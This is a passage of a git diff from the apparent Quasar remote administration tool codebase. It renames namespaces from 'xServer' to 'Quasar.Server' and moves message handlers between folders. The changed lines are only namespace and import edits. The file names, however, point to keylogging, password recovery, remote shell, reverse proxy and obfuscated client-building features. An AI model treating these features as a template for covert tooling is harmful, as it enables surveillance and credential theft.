StringViewHandler { diff --git a/Quasar.Server/Controls/InputBox.cs b/Quasar.Server/Controls/InputBox.cs index d1472461..08df5b47 100644 --- a/Quasar.Server/Controls/InputBox.cs +++ b/Quasar.Server/Controls/InputBox.cs @@ -2,7 +2,7 @@ using System.Drawing; using System.Windows.Forms; -namespace xServer.Controls +namespace Quasar.Server.Controls { public static class InputBox { diff --git a/Quasar.Server/Controls/Line.cs b/Quasar.Server/Controls/Line.cs index e149f0e0..28aefa6c 100644 --- a/Quasar.Server/Controls/Line.cs +++ b/Quasar.Server/Controls/Line.cs @@ -1,7 +1,7 @@ using System.Drawing; using System.Windows.Forms; -namespace xServer.Controls +namespace Quasar.Server.Controls { public class Line : Control { diff --git a/Quasar.Server/Controls/ListViewEx.cs b/Quasar.Server/Controls/ListViewEx.cs index d316e94f..26bb4b19 100644 --- a/Quasar.Server/Controls/ListViewEx.cs +++ b/Quasar.Server/Controls/ListViewEx.cs @@ -1,9 +1,9 @@ using System; using System.Windows.Forms; -using xServer.Core.Helper; -using xServer.Core.Utilities; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Utilities; -namespace xServer.Controls +namespace Quasar.Server.Controls { internal class AeroListView : ListView { diff --git a/Quasar.Server/Controls/RapidPictureBox.cs b/Quasar.Server/Controls/RapidPictureBox.cs index 54cce2e6..39ad4144 100644 --- a/Quasar.Server/Controls/RapidPictureBox.cs +++ b/Quasar.Server/Controls/RapidPictureBox.cs @@ -2,9 +2,9 @@ using System.Diagnostics; using System.Drawing; using System.Windows.Forms; -using xServer.Core.Utilities; +using Quasar.Server.Core.Utilities; -namespace xServer.Controls +namespace Quasar.Server.Controls { public interface IRapidPictureBox { diff --git a/Quasar.Server/Controls/RegistryTreeView.cs b/Quasar.Server/Controls/RegistryTreeView.cs index 2b0e4050..13aabd06 100644 --- a/Quasar.Server/Controls/RegistryTreeView.cs +++ b/Quasar.Server/Controls/RegistryTreeView.cs @@ -1,10 +1,6 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Windows.Forms; +using System.Windows.Forms; -namespace xServer.Controls +namespace Quasar.Server.Controls { public class RegistryTreeView : TreeView { diff --git a/Quasar.Server/Controls/RegistryValueLstItem.cs b/Quasar.Server/Controls/RegistryValueLstItem.cs index c9d8a2ea..b8d896f0 100644 --- a/Quasar.Server/Controls/RegistryValueLstItem.cs +++ b/Quasar.Server/Controls/RegistryValueLstItem.cs @@ -1,9 +1,9 @@ -using Quasar.Common.Models; -using System.Windows.Forms; -using xServer.Core.Extensions; -using xServer.Core.Registry; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Core.Extensions; +using Quasar.Server.Core.Registry; -namespace xServer.Controls +namespace Quasar.Server.Controls { public class RegistryValueLstItem : ListViewItem { diff --git a/Quasar.Server/Controls/WordTextBox.Designer.cs b/Quasar.Server/Controls/WordTextBox.Designer.cs index ef175a61..21dc61de 100644 --- a/Quasar.Server/Controls/WordTextBox.Designer.cs +++ b/Quasar.Server/Controls/WordTextBox.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Controls +namespace Quasar.Server.Controls { partial class WordTextBox { diff --git a/Quasar.Server/Controls/WordTextBox.cs b/Quasar.Server/Controls/WordTextBox.cs index 54d8fcf6..62a03684 100644 --- a/Quasar.Server/Controls/WordTextBox.cs +++ b/Quasar.Server/Controls/WordTextBox.cs @@ -1,15 +1,9 @@ using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; using System.Globalization; -using System.Linq; -using System.Text; using System.Windows.Forms; -using xServer.Enums; +using Quasar.Server.Enums; -namespace xServer.Controls +namespace Quasar.Server.Controls { public partial class WordTextBox : TextBox { diff --git a/Quasar.Server/Core/Build/ClientBuilder.cs b/Quasar.Server/Core/Build/ClientBuilder.cs index 4b3c1dac..dc634f50 100644 --- a/Quasar.Server/Core/Build/ClientBuilder.cs +++ b/Quasar.Server/Core/Build/ClientBuilder.cs @@ -1,12 +1,12 @@ using System; using Mono.Cecil; using Mono.Cecil.Cil; +using Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Helper; using Vestris.ResourceLib; -using xServer.Core.Cryptography; -using xServer.Core.Data; -using xServer.Core.Helper; -namespace xServer.Core.Build +namespace Quasar.Server.Core.Build { /// /// Provides methods used to create a custom client executable. @@ -28,7 +28,7 @@ public static void Build(BuildOptions options) foreach (var typeDef in asmDef.Modules[0].Types) { - if (typeDef.FullName == "xClient.Config.Settings") + if (typeDef.FullName == "Quasar.Client.Config.Settings") { foreach (var methodDef in typeDef.Methods) { diff --git a/Quasar.Server/Core/Build/IconInjector.cs b/Quasar.Server/Core/Build/IconInjector.cs index 5f1f3a76..ddd678da 100644 --- a/Quasar.Server/Core/Build/IconInjector.cs +++ b/Quasar.Server/Core/Build/IconInjector.cs @@ -2,7 +2,7 @@ using System.Runtime.InteropServices; using System.Security; -namespace xServer.Core.Build +namespace Quasar.Server.Core.Build { public static class IconInjector { diff --git a/Quasar.Server/Core/Build/Renamer.cs b/Quasar.Server/Core/Build/Renamer.cs index ba4d4dda..03f21389 100644 --- a/Quasar.Server/Core/Build/Renamer.cs +++ b/Quasar.Server/Core/Build/Renamer.cs @@ -5,7 +5,7 @@ using Mono.Cecil; using Quasar.Common.Utilities; -namespace xServer.Core.Build +namespace Quasar.Server.Core.Build { public class Renamer { @@ -57,7 +57,7 @@ public bool Perform() private void RenameInType(TypeDefinition typeDef) { - if (typeDef.Namespace.Contains("Registry") || typeDef.HasInterfaces) + if (typeDef.HasInterfaces) return; _typeOverloader.GiveName(typeDef); diff --git a/Quasar.Server/Core/Compression/SafeQuickLZ.cs b/Quasar.Server/Core/Compression/SafeQuickLZ.cs index f4b8a48c..768da723 100644 --- a/Quasar.Server/Core/Compression/SafeQuickLZ.cs +++ b/Quasar.Server/Core/Compression/SafeQuickLZ.cs @@ -2,7 +2,7 @@ #pragma warning disable 0675 -namespace xServer.Core.Compression +namespace Quasar.Server.Core.Compression { // QuickLZ data compression library // Copyright (C) 2006-2011 Lasse Mikkel Reinhold diff --git a/Quasar.Server/Core/Cryptography/AES.cs b/Quasar.Server/Core/Cryptography/AES.cs index 86c58438..d93ad70b 100644 --- a/Quasar.Server/Core/Cryptography/AES.cs +++ b/Quasar.Server/Core/Cryptography/AES.cs @@ -2,9 +2,9 @@ using System.IO; using System.Security.Cryptography; using System.Text; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Core.Cryptography +namespace Quasar.Server.Core.Cryptography { public static class AES { diff --git a/Quasar.Server/Core/Data/BuildOptions.cs b/Quasar.Server/Core/Data/BuildOptions.cs index 42050758..dfef8a76 100644 --- a/Quasar.Server/Core/Data/BuildOptions.cs +++ b/Quasar.Server/Core/Data/BuildOptions.cs @@ -1,4 +1,4 @@ -namespace xServer.Core.Data +namespace Quasar.Server.Core.Data { public class BuildOptions { diff --git a/Quasar.Server/Core/Data/BuilderProfile.cs b/Quasar.Server/Core/Data/BuilderProfile.cs index 0a452489..530b6b46 100644 --- a/Quasar.Server/Core/Data/BuilderProfile.cs +++ b/Quasar.Server/Core/Data/BuilderProfile.cs @@ -3,9 +3,9 @@ using System.Windows.Forms; using System.Xml; using System.Xml.XPath; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Core.Data +namespace Quasar.Server.Core.Data { public class BuilderProfile { diff --git a/Quasar.Server/Core/Data/Host.cs b/Quasar.Server/Core/Data/Host.cs index 60eb3503..27dad5d6 100644 --- a/Quasar.Server/Core/Data/Host.cs +++ b/Quasar.Server/Core/Data/Host.cs @@ -1,4 +1,4 @@ -namespace xServer.Core.Data +namespace Quasar.Server.Core.Data { public class Host { diff --git a/Quasar.Server/Core/Data/Settings.cs b/Quasar.Server/Core/Data/Settings.cs index 25d37cd7..f998adee 100644 --- a/Quasar.Server/Core/Data/Settings.cs +++ b/Quasar.Server/Core/Data/Settings.cs @@ -3,7 +3,7 @@ using System.Xml; using System.Xml.XPath; -namespace xServer.Core.Data +namespace Quasar.Server.Core.Data { public static class Settings { diff --git a/Quasar.Server/Core/Extensions/ListViewExtensions.cs b/Quasar.Server/Core/Extensions/ListViewExtensions.cs index 6568bd0a..f3c65db6 100644 --- a/Quasar.Server/Core/Extensions/ListViewExtensions.cs +++ b/Quasar.Server/Core/Extensions/ListViewExtensions.cs @@ -1,8 +1,8 @@ using System.Windows.Forms; -using xServer.Core.Helper; -using xServer.Core.Utilities; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Utilities; -namespace xServer.Core.Extensions +namespace Quasar.Server.Core.Extensions { public static class ListViewExtensions { diff --git a/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs index 1bc13ba2..34568386 100644 --- a/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs @@ -1,10 +1,7 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; +using System; +using Microsoft.Win32; -namespace xServer.Core.Extensions +namespace Quasar.Server.Core.Extensions { public static class RegistryKeyExtensions { diff --git a/Quasar.Server/Core/Extensions/SocketExtensions.cs b/Quasar.Server/Core/Extensions/SocketExtensions.cs index f8ca1f28..d879f792 100644 --- a/Quasar.Server/Core/Extensions/SocketExtensions.cs +++ b/Quasar.Server/Core/Extensions/SocketExtensions.cs @@ -2,7 +2,7 @@ using System.Net.Sockets; using System.Runtime.InteropServices; -namespace xServer.Core.Extensions +namespace Quasar.Server.Core.Extensions { /// /// Socket Extension for KeepAlive diff --git a/Quasar.Server/Core/Helper/ClipboardHelper.cs b/Quasar.Server/Core/Helper/ClipboardHelper.cs index c66f84a0..f5d6b120 100644 --- a/Quasar.Server/Core/Helper/ClipboardHelper.cs +++ b/Quasar.Server/Core/Helper/ClipboardHelper.cs @@ -1,7 +1,7 @@ using System; using System.Windows.Forms; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class ClipboardHelper { diff --git a/Quasar.Server/Core/Helper/CryptographyHelper.cs b/Quasar.Server/Core/Helper/CryptographyHelper.cs index bdb844f5..b15b9086 100644 --- a/Quasar.Server/Core/Helper/CryptographyHelper.cs +++ b/Quasar.Server/Core/Helper/CryptographyHelper.cs @@ -1,9 +1,9 @@ using System; using System.Runtime.CompilerServices; using System.Security.Cryptography; -using xServer.Core.Cryptography; +using Quasar.Server.Core.Cryptography; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class CryptographyHelper { diff --git a/Quasar.Server/Core/Helper/FileHelper.cs b/Quasar.Server/Core/Helper/FileHelper.cs index 3f03ab44..d4be56a6 100644 --- a/Quasar.Server/Core/Helper/FileHelper.cs +++ b/Quasar.Server/Core/Helper/FileHelper.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Utilities; -using System.IO; +using System.IO; using System.Linq; using System.Text; -using xServer.Core.Cryptography; +using Quasar.Common.Utilities; +using Quasar.Server.Core.Cryptography; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class FileHelper { diff --git a/Quasar.Server/Core/Helper/FormatHelper.cs b/Quasar.Server/Core/Helper/FormatHelper.cs index c68bf640..5ee3982c 100644 --- a/Quasar.Server/Core/Helper/FormatHelper.cs +++ b/Quasar.Server/Core/Helper/FormatHelper.cs @@ -1,7 +1,7 @@ using System.IO; using System.Text.RegularExpressions; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class FormatHelper { diff --git a/Quasar.Server/Core/Helper/HostHelper.cs b/Quasar.Server/Core/Helper/HostHelper.cs index e14582ea..0f73dc25 100644 --- a/Quasar.Server/Core/Helper/HostHelper.cs +++ b/Quasar.Server/Core/Helper/HostHelper.cs @@ -2,10 +2,9 @@ using System.ComponentModel; using System.Linq; using System.Text; -using xServer.Core.Data; -using xServer.Core.Utilities; +using Quasar.Server.Core.Data; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class HostHelper { diff --git a/Quasar.Server/Core/Helper/NativeMethodsHelper.cs b/Quasar.Server/Core/Helper/NativeMethodsHelper.cs index 1c4efba4..44d46654 100644 --- a/Quasar.Server/Core/Helper/NativeMethodsHelper.cs +++ b/Quasar.Server/Core/Helper/NativeMethodsHelper.cs @@ -1,7 +1,7 @@ using System; -using xServer.Core.Utilities; +using Quasar.Server.Core.Utilities; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class NativeMethodsHelper { diff --git a/Quasar.Server/Core/Helper/PlatformHelper.cs b/Quasar.Server/Core/Helper/PlatformHelper.cs index acc31df6..c5f0c8ab 100644 --- a/Quasar.Server/Core/Helper/PlatformHelper.cs +++ b/Quasar.Server/Core/Helper/PlatformHelper.cs @@ -1,6 +1,6 @@ using System; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class PlatformHelper { diff --git a/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs b/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs index 38c8df1f..2b5c2c59 100644 --- a/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs +++ b/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs @@ -2,7 +2,7 @@ using System.Drawing.Imaging; using System.Windows.Forms; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class RemoteDesktopHelper { diff --git a/Quasar.Server/Core/Helper/WindowHelper.cs b/Quasar.Server/Core/Helper/WindowHelper.cs index a633cef9..7d606a05 100644 --- a/Quasar.Server/Core/Helper/WindowHelper.cs +++ b/Quasar.Server/Core/Helper/WindowHelper.cs @@ -1,6 +1,6 @@ -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Helper +namespace Quasar.Server.Core.Helper { public static class WindowHelper { diff --git a/Quasar.Server/Core/Commands/ClientStatusHandler.cs b/Quasar.Server/Core/Messages/ClientStatusHandler.cs similarity index 98% rename from Quasar.Server/Core/Commands/ClientStatusHandler.cs rename to Quasar.Server/Core/Messages/ClientStatusHandler.cs index e3c65d56..1f938f94 100644 --- a/Quasar.Server/Core/Commands/ClientStatusHandler.cs +++ b/Quasar.Server/Core/Messages/ClientStatusHandler.cs @@ -1,9 +1,9 @@ using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class ClientStatusHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/FileManagerHandler.cs b/Quasar.Server/Core/Messages/FileManagerHandler.cs similarity index 99% rename from Quasar.Server/Core/Commands/FileManagerHandler.cs rename to Quasar.Server/Core/Messages/FileManagerHandler.cs index 50e9f175..3e64cfa0 100644 --- a/Quasar.Server/Core/Commands/FileManagerHandler.cs +++ b/Quasar.Server/Core/Messages/FileManagerHandler.cs @@ -3,17 +3,17 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Networking; +using Quasar.Server.Enums; +using Quasar.Server.Models; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Enums; -using xServer.Models; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class FileManagerHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/KeyloggerHandler.cs b/Quasar.Server/Core/Messages/KeyloggerHandler.cs similarity index 96% rename from Quasar.Server/Core/Commands/KeyloggerHandler.cs rename to Quasar.Server/Core/Messages/KeyloggerHandler.cs index c07640bb..4186c6df 100644 --- a/Quasar.Server/Core/Commands/KeyloggerHandler.cs +++ b/Quasar.Server/Core/Messages/KeyloggerHandler.cs @@ -1,11 +1,11 @@ using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Networking; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Networking; using System.IO; -using xServer.Core.Helper; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class KeyloggerHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/PasswordRecoveryHandler.cs b/Quasar.Server/Core/Messages/PasswordRecoveryHandler.cs similarity index 97% rename from Quasar.Server/Core/Commands/PasswordRecoveryHandler.cs rename to Quasar.Server/Core/Messages/PasswordRecoveryHandler.cs index 50c08e12..41c463c3 100644 --- a/Quasar.Server/Core/Commands/PasswordRecoveryHandler.cs +++ b/Quasar.Server/Core/Messages/PasswordRecoveryHandler.cs @@ -1,11 +1,11 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; +using Quasar.Server.Core.Networking; using System.Collections.Generic; using System.Linq; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class PasswordRecoveryHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/RegistryHandler.cs b/Quasar.Server/Core/Messages/RegistryHandler.cs similarity index 99% rename from Quasar.Server/Core/Commands/RegistryHandler.cs rename to Quasar.Server/Core/Messages/RegistryHandler.cs index fba1392f..89a3a09c 100644 --- a/Quasar.Server/Core/Commands/RegistryHandler.cs +++ b/Quasar.Server/Core/Messages/RegistryHandler.cs @@ -2,9 +2,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class RegistryHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/RemoteDesktopHandler.cs b/Quasar.Server/Core/Messages/RemoteDesktopHandler.cs similarity index 99% rename from Quasar.Server/Core/Commands/RemoteDesktopHandler.cs rename to Quasar.Server/Core/Messages/RemoteDesktopHandler.cs index 93e9bde0..d0f96403 100644 --- a/Quasar.Server/Core/Commands/RemoteDesktopHandler.cs +++ b/Quasar.Server/Core/Messages/RemoteDesktopHandler.cs @@ -2,11 +2,11 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; using Quasar.Common.Video.Codecs; +using Quasar.Server.Core.Networking; using System.Drawing; using System.IO; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class RemoteDesktopHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/RemoteShellHandler.cs b/Quasar.Server/Core/Messages/RemoteShellHandler.cs similarity index 97% rename from Quasar.Server/Core/Commands/RemoteShellHandler.cs rename to Quasar.Server/Core/Messages/RemoteShellHandler.cs index fd707055..ad0843bc 100644 --- a/Quasar.Server/Core/Commands/RemoteShellHandler.cs +++ b/Quasar.Server/Core/Messages/RemoteShellHandler.cs @@ -1,8 +1,8 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class RemoteShellHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/ReverseProxyHandler.cs b/Quasar.Server/Core/Messages/ReverseProxyHandler.cs similarity index 97% rename from Quasar.Server/Core/Commands/ReverseProxyHandler.cs rename to Quasar.Server/Core/Messages/ReverseProxyHandler.cs index 9ae8ec96..f95458fb 100644 --- a/Quasar.Server/Core/Commands/ReverseProxyHandler.cs +++ b/Quasar.Server/Core/Messages/ReverseProxyHandler.cs @@ -1,10 +1,10 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.ReverseProxy; using System.Linq; -using xServer.Core.Networking; -using xServer.Core.ReverseProxy; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class ReverseProxyHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/StartupManagerHandler.cs b/Quasar.Server/Core/Messages/StartupManagerHandler.cs similarity index 96% rename from Quasar.Server/Core/Commands/StartupManagerHandler.cs rename to Quasar.Server/Core/Messages/StartupManagerHandler.cs index 6abebffd..a0536173 100644 --- a/Quasar.Server/Core/Commands/StartupManagerHandler.cs +++ b/Quasar.Server/Core/Messages/StartupManagerHandler.cs @@ -1,10 +1,10 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; +using Quasar.Server.Core.Networking; using System.Collections.Generic; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class StartupManagerHandler : MessageProcessorBase> { diff --git a/Quasar.Server/Core/Commands/SystemInformationHandler.cs b/Quasar.Server/Core/Messages/SystemInformationHandler.cs similarity index 96% rename from Quasar.Server/Core/Commands/SystemInformationHandler.cs rename to Quasar.Server/Core/Messages/SystemInformationHandler.cs index 47a0d994..695d3065 100644 --- a/Quasar.Server/Core/Commands/SystemInformationHandler.cs +++ b/Quasar.Server/Core/Messages/SystemInformationHandler.cs @@ -1,10 +1,10 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; +using Quasar.Server.Core.Networking; using System; using System.Collections.Generic; -using xServer.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class SystemInformationHandler : MessageProcessorBase>> { diff --git a/Quasar.Server/Core/Commands/TaskManagerHandler.cs b/Quasar.Server/Core/Messages/TaskManagerHandler.cs similarity index 96% rename from Quasar.Server/Core/Commands/TaskManagerHandler.cs rename to Quasar.Server/Core/Messages/TaskManagerHandler.cs index ba6c6f04..7b53b375 100644 --- a/Quasar.Server/Core/Commands/TaskManagerHandler.cs +++ b/Quasar.Server/Core/Messages/TaskManagerHandler.cs @@ -1,9 +1,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class TaskManagerHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Commands/TcpConnectionsHandler.cs b/Quasar.Server/Core/Messages/TcpConnectionsHandler.cs similarity index 97% rename from Quasar.Server/Core/Commands/TcpConnectionsHandler.cs rename to Quasar.Server/Core/Messages/TcpConnectionsHandler.cs index 55dfbaa4..3fa94d88 100644 --- a/Quasar.Server/Core/Commands/TcpConnectionsHandler.cs +++ b/Quasar.Server/Core/Messages/TcpConnectionsHandler.cs @@ -1,9 +1,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.Commands +namespace Quasar.Server.Core.Messages { public class TcpConnectionsHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Networking/Client.cs b/Quasar.Server/Core/Networking/Client.cs index a91f36fd..375ef818 100644 --- a/Quasar.Server/Core/Networking/Client.cs +++ b/Quasar.Server/Core/Networking/Client.cs @@ -1,17 +1,17 @@ -using ProtoBuf; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Net; using System.Net.Sockets; using System.Threading; +using ProtoBuf; using Quasar.Common.Messages; using Quasar.Common.Networking; -using xServer.Core.Compression; -using xServer.Core.Cryptography; -using xServer.Core.Extensions; +using Quasar.Server.Core.Compression; +using Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Extensions; -namespace xServer.Core.Networking +namespace Quasar.Server.Core.Networking { public class Client : IEquatable, ISender { diff --git a/Quasar.Server/Core/Networking/QuasarServer.cs b/Quasar.Server/Core/Networking/QuasarServer.cs index d07685e8..eb20464b 100644 --- a/Quasar.Server/Core/Networking/QuasarServer.cs +++ b/Quasar.Server/Core/Networking/QuasarServer.cs @@ -1,7 +1,7 @@ -using Quasar.Common.Messages; -using System.Linq; +using System.Linq; +using Quasar.Common.Messages; -namespace xServer.Core.Networking +namespace Quasar.Server.Core.Networking { public class QuasarServer : Server { diff --git a/Quasar.Server/Core/Networking/Server.cs b/Quasar.Server/Core/Networking/Server.cs index fcba8e09..c61e4632 100644 --- a/Quasar.Server/Core/Networking/Server.cs +++ b/Quasar.Server/Core/Networking/Server.cs @@ -1,15 +1,15 @@ -using ProtoBuf.Meta; -using System; +using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Sockets; using System.Windows.Forms; +using ProtoBuf.Meta; using Quasar.Common.Messages; -using xServer.Core.Data; -using xServer.Core.Networking.Utilities; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Networking.Utilities; -namespace xServer.Core.Networking +namespace Quasar.Server.Core.Networking { public class Server { diff --git a/Quasar.Server/Core/Networking/UserState.cs b/Quasar.Server/Core/Networking/UserState.cs index 4f9ff8eb..bf8fb201 100644 --- a/Quasar.Server/Core/Networking/UserState.cs +++ b/Quasar.Server/Core/Networking/UserState.cs @@ -1,8 +1,8 @@ using System.IO; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Core.Networking +namespace Quasar.Server.Core.Networking { public class UserState { diff --git a/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs b/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs index a83abba1..7e1e0c45 100644 --- a/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs +++ b/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs @@ -1,7 +1,7 @@ using System; using System.Collections.Generic; -namespace xServer.Core.Networking.Utilities +namespace Quasar.Server.Core.Networking.Utilities { /// /// Implements a pool of byte arrays to improve allocation performance when parsing data. diff --git a/Quasar.Server/Core/Networking/Utilities/UPnP.cs b/Quasar.Server/Core/Networking/Utilities/UPnP.cs index 13d3fee2..76c3a529 100644 --- a/Quasar.Server/Core/Networking/Utilities/UPnP.cs +++ b/Quasar.Server/Core/Networking/Utilities/UPnP.cs @@ -1,9 +1,8 @@ using System; using System.Collections.Generic; using Mono.Nat; -using Mono.Nat.Upnp; -namespace xServer.Core.Networking.Utilities +namespace Quasar.Server.Core.Networking.Utilities { internal static class UPnP { diff --git a/Quasar.Server/Core/Registry/RegValueHelper.cs b/Quasar.Server/Core/Registry/RegValueHelper.cs index e9e2112c..ba4f7ad3 100644 --- a/Quasar.Server/Core/Registry/RegValueHelper.cs +++ b/Quasar.Server/Core/Registry/RegValueHelper.cs @@ -1,9 +1,9 @@ -using Microsoft.Win32; +using System; +using Microsoft.Win32; using Quasar.Common.Models; using Quasar.Common.Utilities; -using System; -namespace xServer.Core.Registry +namespace Quasar.Server.Core.Registry { public class RegValueHelper { diff --git a/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs index 5c1ecd5a..57030d74 100644 --- a/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs @@ -4,9 +4,9 @@ using System.Net.Sockets; using System.Text; using Quasar.Common.Messages; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.ReverseProxy +namespace Quasar.Server.Core.ReverseProxy { public class ReverseProxyClient { diff --git a/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs b/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs index dfea5917..5aa2c69d 100644 --- a/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs +++ b/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs @@ -3,9 +3,9 @@ using System.Linq; using System.Net; using System.Net.Sockets; -using xServer.Core.Networking; +using Quasar.Server.Core.Networking; -namespace xServer.Core.ReverseProxy +namespace Quasar.Server.Core.ReverseProxy { public class ReverseProxyServer { diff --git a/Quasar.Server/Core/Utilities/FrameCounter.cs b/Quasar.Server/Core/Utilities/FrameCounter.cs index 57295f09..e0bf792e 100644 --- a/Quasar.Server/Core/Utilities/FrameCounter.cs +++ b/Quasar.Server/Core/Utilities/FrameCounter.cs @@ -2,7 +2,7 @@ using System.Collections.Generic; using System.Linq; -namespace xServer.Core.Utilities +namespace Quasar.Server.Core.Utilities { public class FrameUpdatedEventArgs : EventArgs { diff --git a/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs b/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs index 3cc8ba31..9197d025 100644 --- a/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs +++ b/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs @@ -1,7 +1,7 @@ using System.Collections; using System.Windows.Forms; -namespace xServer.Core.Utilities +namespace Quasar.Server.Core.Utilities { public class ListViewColumnSorter : IComparer { diff --git a/Quasar.Server/Core/Utilities/NativeMethods.cs b/Quasar.Server/Core/Utilities/NativeMethods.cs index 33fe9c3a..7f90291f 100644 --- a/Quasar.Server/Core/Utilities/NativeMethods.cs +++ b/Quasar.Server/Core/Utilities/NativeMethods.cs @@ -1,7 +1,7 @@ using System; using System.Runtime.InteropServices; -namespace xServer.Core.Utilities +namespace Quasar.Server.Core.Utilities { /// /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). diff --git a/Quasar.Server/Core/Utilities/NoIpUpdater.cs b/Quasar.Server/Core/Utilities/NoIpUpdater.cs index 8b68f550..d5d656f7 100644 --- a/Quasar.Server/Core/Utilities/NoIpUpdater.cs +++ b/Quasar.Server/Core/Utilities/NoIpUpdater.cs @@ -2,9 +2,9 @@ using System.Net; using System.Text; using System.Threading; -using xServer.Core.Data; +using Quasar.Server.Core.Data; -namespace xServer.Core.Utilities +namespace Quasar.Server.Core.Utilities { public static class NoIpUpdater { diff --git a/Quasar.Server/Enums/TransferType.cs b/Quasar.Server/Enums/TransferType.cs index 795b5498..ba161bd7 100644 --- a/Quasar.Server/Enums/TransferType.cs +++ b/Quasar.Server/Enums/TransferType.cs @@ -1,4 